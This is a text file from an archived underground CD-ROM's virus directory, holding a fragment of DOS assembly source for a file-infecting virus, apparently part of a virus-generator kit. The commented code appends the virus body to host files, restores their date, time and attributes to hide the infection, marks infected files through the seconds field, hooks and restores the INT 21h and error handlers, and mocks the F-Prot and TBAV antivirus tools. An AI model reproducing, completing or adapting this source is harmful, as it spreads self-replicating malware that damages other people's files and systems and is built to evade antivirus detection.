home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / virgen / nrlg / 3.N < prev    next >
Encoding:
Text File  |  1994-02-03  |  4.2 KB  |  89 lines
  1. inc di
  2. inc di                             ;the virus code                  
  3. loop enc2                          ;              
  4. ;--------------------------------------------
  5. mov ah,40h                       ;  
  6. mov cx,offset fin - offset start ;copy the virus              
  7. mov dx,offset fin + 50           ;to end of file
  8. int 21h                          ;
  9. ;----------------------------------------------------------                                          
  10. cerrar:                          ;
  11.                                  ;restore the       
  12. mov ax,5701h                     ;date and time    
  13. mov cx,word ptr cs:[hora]        ;file   
  14. mov dx,word ptr cs:[dia]         ;     
  15. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  16. int 21h                          ; 
  17. ;----------------------------------------------------------                                          
  18. mov ah,3eh                       ; 
  19. int 21h                          ;close the file
  20. ;----------------------------------------------------------                                          
  21. pop ds                           ;
  22. pop es                           ;restore the 
  23. pop bp                           ;registers
  24. pop di                           ; 
  25. pop si                           ;
  26. popa                             ;
  27. popf                             ;
  28. ;----------------------------------------------------------                                          
  29. pusha                           ;   
  30.                                 ;                                                             
  31. mov ax,4301h                    ;restores the atributes 
  32. mov cx,word ptr cs:[attrib]     ;of the file  
  33. int 21h                         ;   
  34.                                 ;
  35. popa                            ; 
  36. ;----------------------------------------------------------                                          
  37. pushf                           ;                           
  38. pusha                           ; 8-(  = f-prot                       
  39. push si                         ;                       
  40. push di                         ; 8-(  = tbav   
  41. push bp                         ;                       
  42. push es                         ; 8-)  = I'm                        
  43. push ds                         ;                              
  44. ;----------------------------------------------------------                                          
  45. mov ax,2524H                    ;                         
  46. lea bx,error                    ;restore the                         
  47. mov ds,bx                       ;errors handler      
  48. lea bx,error+2                  ;                         
  49. int 21h                         ;                       
  50. ;----------------------------------------------------------                                          
  51. pop ds                          ;
  52. pop es                          ;
  53. pop bp                          ;restore the 
  54. pop di                          ;resgisters
  55. pop si                          ;
  56. popa                            ;
  57. popf                            ;
  58. ;----------------------------------------------------------                                          
  59. JMP A3                          ;jmp to orig. INT 21
  60.                                 ;
  61. ;**********************************************************
  62. ;           SUBRUTINES AREA
  63. ;**********************************************************
  64.                                 ;
  65. movedor:                        ;   
  66.                                 ; 
  67. xor cx,cx                       ;use to move file pointer         
  68. xor dx,dx                       ;       
  69. int 21h                         ;        
  70. ret                             ;        
  71. ;----------------------------------------------------------                                          
  72. all:                            ;  
  73.                                 ; 
  74. XOR AL,AL                       ;use to set 
  75. iret                            ;error flag
  76.  
  77. ;***********************************************************
  78. ;         DATA AREA
  79. ;***********************************************************
  80. largo  dw  ?
  81. jump   db  0e9h
  82. real   db  0cdh,20h,0
  83. hora   dw  ?
  84. dia    dw  ?
  85. attrib dw  ?
  86. int21  dd  ?
  87. error  dd  ?
  88.  
  89.